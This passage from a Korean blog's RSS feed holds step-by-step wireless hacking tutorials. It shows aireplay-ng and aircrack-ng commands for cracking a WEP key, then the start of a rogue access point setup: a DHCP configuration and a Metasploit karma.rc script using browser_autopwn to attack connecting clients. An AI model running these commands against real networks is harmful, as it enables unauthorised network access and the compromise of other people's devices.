6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Set Access Point MAC address.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;-h &amp;lt;smac&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Set source MAC address.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;aireplay-ng -1 0 -e WEP -a 64:e5:99:0f:38:e2 -h 00:08:9f:da:bf:bf mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 736px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2467843A57CA8C4E25&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2467843A57CA8C4E25&quot; width=&quot;736&quot; height=&quot;685&quot; filename=&quot;005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;The class ARP request replay attack.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;aireplay-ng &amp;lt;options&amp;gt; &amp;lt;replay interface&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;[Attack modes]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;-3&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;--arpreplay&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;: The class ARP request replay attack&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;is the most effective way to generate new&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;initialization vectors (IVs), and works&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;very reliably.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;[Filter options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;-b &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;: MAC address of Access Point.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;[replay options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;-h &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;: Set Access Point MAC address.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px; color: rgb(255, 0, 0);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px; color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aireplay-ng -3 -b 64:e5:99:0f:38:e2 -h 00:08:9f:da:bf:bf mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 737px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/220A493357CA8DCB26&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F220A493357CA8DCB26&quot; width=&quot;737&quot; height=&quot;683&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x05.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 20px;&quot;&gt;&lt;b&gt;aircrack-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;A 802.11 WEP / WPA-PSK Key Cracker.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aircrack-ng [options] &amp;lt;.cap / .ivs file(s)&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;aircrack-ng WEP-Key-01.cap&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 735px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/211BB73657CA8F482B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F211BB73657CA8F482B&quot; width=&quot;735&quot; height=&quot;684&quot; filename=&quot;007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/273</guid>
      <comments>https://do9dark.tistory.com/273#entry273comment</comments>
      <pubDate>Sat, 3 Sep 2016 17:21:31 +0900</pubDate>
    </item>
    <item>
      <title>Wireless Hacking - Fake AP</title>
      <link>https://do9dark.tistory.com/272</link>
      <description>&lt;p style=&quot;text-align: left; line-height: 1.5;&quot;&gt;&lt;b style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x00.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;환경구성&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;OS : BackTrack 5 R3 (32-bit)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;Kernel : Linux bt 3.2.6&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt; netstat -nltp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/236E283E57C857852A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F236E283E57C857852A&quot; width=&quot;800&quot; height=&quot;261&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x01.&amp;nbsp;dhcp3-server install&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt; vi /etc/apt/sources.list&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/27465C3857C85A141F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F27465C3857C85A141F&quot; width=&quot;800&quot; height=&quot;468&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;deb http://64.repository.backtrack-linux.org revolution main microverse non-free testing&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;# &lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;apt-get install dhcp3-server&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/234D753357C85A5915&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F234D753357C85A5915&quot; width=&quot;800&quot; height=&quot;368&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x02. dhcpd.conf&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt; vi /etc/dhcp3/dhcpd.conf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/234D753357C85AD716&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F234D753357C85AD716&quot; width=&quot;800&quot; height=&quot;470&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;option domain-name-servers 10.0.0.1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;#default-lease-time 600;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;max-lease-time 720;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;ddns-update-style none;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;authoritative;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;log-facility local7;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;subnet 10.0.0.0 netmask 255.255.255.0 {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;range 10.0.0.100 10.0.0.254;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;option routers 10.0.0.1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;option domain-name-servers 10.0.0.1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; text-align: left; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x03. karma.rc&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0); font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt; vi /root/karma.rc&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; line-height: 1.5;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 800px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2408F23B57C85B0702&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2408F23B57C85B0702&quot; width=&quot;800&quot; height=&quot;470&quot; filename=&quot;005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;load db_sqlite3&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;db_create /root/karma.db&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;use auxiliary/server/browser_autopwn&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;setg AUTOPWN_HOST 10.0.0.1&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;setg AUTOPWN_PORT 55550&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace; color: rgb(140, 140, 140);&quot;&gt;setg AUTOPWN_URI /ads&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, 